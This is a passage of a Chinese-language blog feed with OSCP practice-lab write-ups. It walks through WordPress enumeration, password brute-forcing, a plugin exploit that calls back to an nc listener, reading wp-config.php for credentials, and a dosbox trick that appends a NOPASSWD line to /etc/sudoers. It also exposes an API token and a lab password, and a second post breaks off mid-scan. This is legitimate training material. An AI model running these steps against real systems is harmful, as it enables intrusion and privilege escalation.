&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.206.105/xmlrpc.php &lt;span class="o"&gt;(&lt;/span&gt;Status: 405&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 42&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;^C
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820144117192.png"&gt;
熟悉的Wordpress，找到登录入口
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820160349662.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 简单版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wpscan --update --url http://192.168.206.105 -e u
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 复杂全插件扫描版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 枚举插件和用户名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;wpscan --enumerate ap,t,u --api-token 6Chbzkayn13XcMOgzoDGA85OLpV5BbXhGQ55s8qz88g --plugins-detection aggressive --url http://192.168.206.105 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 爆破密码 很慢，作为最后的手段&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;wpscan --usernames admin --passwords /usr/share/wordlists/rockyou.txt --url http://192.168.206.105
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820161157308.png"&gt;&lt;/p&gt;
&lt;h2 id="wp插件漏洞"&gt;WP插件漏洞
&lt;/h2&gt;&lt;p&gt;虽然没有得到登录密码，但是扫描发现&lt;code&gt;simple file list&lt;/code&gt;插件存在漏洞，搜索&lt;code&gt;simple file list&lt;/code&gt;插件相关漏洞利用方法。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit simple file list
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m php/webapps/48979.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820162925617.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820163321891.png"&gt;
修改为kali的IP，端口改为原靶机就开放的端口，这里用的5000，虽然在一开始并未扫描出来，但是降速后是可以扫描出来的5000端口。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -lvnp &lt;span class="m"&gt;5000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;python 48979.py http://192.168.206.105
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820164211822.png"&gt;&lt;/p&gt;
&lt;h2 id="内网信息收集"&gt;内网信息收集
&lt;/h2&gt;&lt;p&gt;查看配置文件得到数据库密码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat wp-config.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820164615128.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;数据库密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;commander
CommanderKeenVorticons1990&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;p&gt;把数据密码当作用户密码来直接复用，切换用户，也可以直接ssh登录代替当前的登录。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;su commander
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拿到第一个flag
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820164821602.png"&gt;
数据库中找不到更多的有用内容
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820165901740.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;scp linpeas.sh commander@192.168.206.105:/tmp/linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上传小豌豆来找
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820171016430.png"&gt;
发现&lt;code&gt;/usr/bin/dosbox&lt;/code&gt; 可以提权，上网站查找提权命令 &lt;a class="link" href="https://gtfobins.github.io/gtfobins/dosbox/" target="_blank" rel="noopener"
 &gt;https://gtfobins.github.io/gtfobins/dosbox/&lt;/a&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822151548991.png"&gt;
发现可以越权写入文件，把commander写成全sudo的即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;LFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/etc/sudoers&amp;#39;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/dosbox -c &lt;span class="s1"&gt;&amp;#39;mount c /&amp;#39;&lt;/span&gt; -c &lt;span class="s2"&gt;&amp;#34;echo commander ALL=(ALL) NOPASSWD: ALL &amp;gt;&amp;gt; c:&lt;/span&gt;&lt;span class="nv"&gt;$LFILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -c &lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo -s
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拿到第二个flag。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822152006569.png"&gt;&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机 &lt;br&gt; 192.168.45.159]
 B[靶机 &lt;br&gt; 192.168.206.105]
 C[http用户Shell]
 D[commonder用户账户密码]
 E[root]

 %% 路径关系
 A--&gt;|扫描|B
 B--&gt;|插件漏洞|C
 C--&gt;|数据库密码泄露|D
 D--&gt;|busybox提权漏洞|E

	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 %% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

 %% 应用样式
 class A attack;
 class B,C public;
 class D,E internal;&lt;/pre&gt;&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2025-08-20 14:25, 2025-08-20 15:25
 漏洞识别 :a2, after a1, 2025-08-20 16:40
 
 section 攻击阶段
 初始访问 :b1, after a2, 2025-08-20 17:12
 权限提升 :crit,b2, 2025-08-22 15:05, 15m
 
 section 后渗透阶段
 数据窃取 :c1, after b2, 5m&lt;/pre&gt;&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场 Snookums WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-snookums-wp/</link><pubDate>Wed, 20 Aug 2025 10:57:24 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-snookums-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场 Snookums WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官网打开靶场
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250820105858401.png"&gt;&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.238
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.236.58
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.236.58 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.236.58
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.236.58
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://192.168.236.58 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t &lt;span class="m"&gt;20&lt;/span&gt; -x php,html,txt -b 403,500,404 -z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.236.58/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;21,22,80,111,139,445,3306
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.236.58
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-19 23:01 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.236.58
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.30s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;21/tcp open ftp vsftpd 3.0.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.4 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 4a:79:67:12:c7:ec:13:3a:96:bd:d3:b4:7c:f3:95:15 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; a8:a3:a7:88:cf:37:27:b5:4d:45:13:79:db:d2:ba:cb &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; f2:07:13:19:1f:29:de:19:48:7c:db:45:99:f9:cd:3e &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.6 &lt;span class="o"&gt;((&lt;/span&gt;CentOS&lt;span class="o"&gt;)&lt;/span&gt; PHP/5.4.16&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.6 &lt;span class="o"&gt;(&lt;/span&gt;CentOS&lt;span class="o"&gt;)&lt;/span&gt; PHP/5.4.16
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Simple PHP Photo Gallery
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;111/tcp open rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn Samba smbd 3.X - 4.X &lt;span class="o"&gt;(&lt;/span&gt;workgroup: SAMBA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;445/tcp open netbios-ssn Samba smbd 3.X - 4.X &lt;span class="o"&gt;(&lt;/span&gt;workgroup: SAMBA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql MySQL &lt;span class="o"&gt;(&lt;/span&gt;unauthorized&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose&lt;span class="p"&gt;|&lt;/span&gt;router
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;Running &lt;span class="o"&gt;(&lt;/span&gt;JUST GUESSING&lt;span class="o"&gt;)&lt;/span&gt;: Linux 3.X&lt;span class="p"&gt;|&lt;/span&gt;4.X&lt;span class="p"&gt;|&lt;/span&gt;2.6.X&lt;span class="p"&gt;|&lt;/span&gt;5.X &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, MikroTik RouterOS 7.X &lt;span class="o"&gt;(&lt;/span&gt;89%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;Aggressive OS guesses: Linux 3.10 - 4.11 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.14 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 - 4.4 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.8 - 3.16 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.13 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.4 - 3.10 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 - 5.19 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 5.0 - 5.14 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.10 &lt;span class="o"&gt;(&lt;/span&gt;90%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 &lt;span class="o"&gt;(&lt;/span&gt;89%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;No exact OS matches &lt;span class="k"&gt;for&lt;/span&gt; host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt; conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;.
